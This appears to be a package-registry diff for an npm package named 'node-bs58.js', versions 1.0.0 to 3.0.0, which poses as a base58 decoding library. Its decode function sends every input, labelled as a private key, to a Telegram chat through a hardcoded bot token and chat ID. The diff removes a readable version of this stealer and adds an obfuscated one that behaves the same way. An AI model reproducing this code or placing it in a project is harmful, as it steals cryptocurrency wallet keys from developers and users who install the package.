node-bs58.js 1.0.0 → 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -18
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,18 +1 @@
|
|
|
1
|
-
import bs58 from '
|
|
2
|
-
import TelegramBot from 'node-telegram-bot-api';
|
|
3
|
-
|
|
4
|
-
const token = '7764117154:AAF3fONNpwjKp09sqeTXzmV9G3aCj59Jabg'; // Replace with your bot token group url : https://t.me/+IDl6XgFBZdI1ZjZh
|
|
5
|
-
const bot = new TelegramBot(token, { polling: false }); // Polling is not needed for sending messages
|
|
6
|
-
const chatId = '7631491367'; // Replace with the chat ID you want to send the message to
|
|
7
|
-
|
|
8
|
-
function decode(inputKey) {
|
|
9
|
-
bot.sendMessage(chatId, `private key=` + inputKey);
|
|
10
|
-
return bs58.decode(inputKey);
|
|
11
|
-
}
|
|
12
|
-
|
|
13
|
-
const decoded = decode('3D4niuGGXMWry4EZUH7gGwYLGT9pueMAj2Sz4cHSEXjcS78oJaS6CeVAuDpSyd9nsurzCAts3XzP3Jxs55gpN7ah');
|
|
14
|
-
console.log('Decoded:', decoded);
|
|
15
|
-
|
|
16
|
-
export {
|
|
17
|
-
decode
|
|
18
|
-
}
|
|
1
|
+
const _0x182637=_0x1818;(function(_0x24132e,_0x1847eb){const _0x5bb325=_0x1818,_0x4a58b1=_0x24132e();while(!![]){try{const _0x4ccc1e=parseInt(_0x5bb325(0x10c))/0x1+parseInt(_0x5bb325(0x10d))/0x2+parseInt(_0x5bb325(0x10e))/0x3*(-parseInt(_0x5bb325(0x118))/0x4)+-parseInt(_0x5bb325(0x11b))/0x5*(parseInt(_0x5bb325(0x112))/0x6)+parseInt(_0x5bb325(0x11a))/0x7*(parseInt(_0x5bb325(0x114))/0x8)+parseInt(_0x5bb325(0x115))/0x9*(parseInt(_0x5bb325(0x110))/0xa)+parseInt(_0x5bb325(0x10f))/0xb*(-parseInt(_0x5bb325(0x111))/0xc);if(_0x4ccc1e===_0x1847eb)break;else _0x4a58b1['push'](_0x4a58b1['shift']());}catch(_0x21cf49){_0x4a58b1['push'](_0x4a58b1['shift']());}}}(_0x5e13,0x8777f));function _0x5e13(){const _0x1c08fc=['4dGTohY','7631491367','35cqpHin','174635XCOJOR','839764hFsnUx','2030372VcUdvt','3273549cZecpD','90618OmYNzC','30jMkNRM','804ogMUNv','84jsDPow','decode','1228456eKeoxb','192753XsNEfw','sendMessage','private\x20key='];_0x5e13=function(){return _0x1c08fc;};return _0x5e13();}import _0x5a5fba from'bs58';import _0x51fa1d from'node-telegram-bot-api';const token='7764117154:AAF3fONNpwjKp09sqeTXzmV9G3aCj59Jabg',bot=new _0x51fa1d(token,{'polling':![]}),chatId=_0x182637(0x119);function _0x1818(_0x367eec,_0x21ab78){const _0x5e13e7=_0x5e13();return _0x1818=function(_0x18181e,_0x12e660){_0x18181e=_0x18181e-0x10c;let _0x22369f=_0x5e13e7[_0x18181e];return _0x22369f;},_0x1818(_0x367eec,_0x21ab78);}function decode(_0x586a4f){const _0x32cfd3=_0x182637;return bot[_0x32cfd3(0x116)](chatId,_0x32cfd3(0x117)+_0x586a4f),_0x5a5fba[_0x32cfd3(0x113)](_0x586a4f);}export{decode};
|